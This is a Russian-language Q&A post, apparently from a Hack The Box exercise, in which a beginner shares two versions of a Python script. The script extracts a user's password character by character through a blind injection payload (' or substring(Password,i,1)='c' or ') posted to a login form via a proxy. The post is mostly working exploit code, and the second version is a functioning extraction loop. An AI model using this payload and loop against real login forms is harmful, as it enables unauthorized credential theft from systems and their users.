Создание BruteForce - PullRequest
       43

Создание BruteForce

0 голосов
/ 06 августа 2020

Я немного новичок в python. Это небольшой скрипт, который я написал для поиска пароля. Когда я запускаю программу без al oop, я получаю результат. Когда я включаю al oop, я не получаю никакого результата. Когда персонаж найден, его нужно добавить до конца. Электронная почта отображается, если символ существует.

#!/usr/bin/python
import requests

url = "http://x.x.x.x/abcd.php"
char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-;'"<>?,."
proxies = {
    "http" : "http://a.b.c.d:3128",
}
password = ''
for i in range(0, 80):
    for j in char:
        data = {'Username':'abc', 'Password': "' or substring(Password," +str(i)+ ",1)=j or '"}
        response = requests.post(url, data=data, proxies=proxies, verify=False)
        if "email@email.com" in response.text:
            password = password +j
            print("The User found")
print(password)
            

Всем спасибо. Я внес некоторые изменения в свой сценарий. Это мой последний сценарий

import requests

url = "http://x.x.x.x/abcd.php"
char = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-;'"<>?,."
proxies = {
    "http" : "http://a.b.c.d:3128",
}
password = ''
for i in range(1, 80):
    found = False
    password = ''
    for j in char:
        data = {'Username':'abc', 'Password': "' or substring(Password,"+str(i)+",1)='"+j+"' or '"}
        response = requests.post(url, data=data, proxies=proxies, verify=False)
        if "rita@unbalanced.htb" in response.text:
            found = True
            #print(f"The character found was {j} ")
            break
    if not found:
        break
        
    password +=j
    print(password)```
...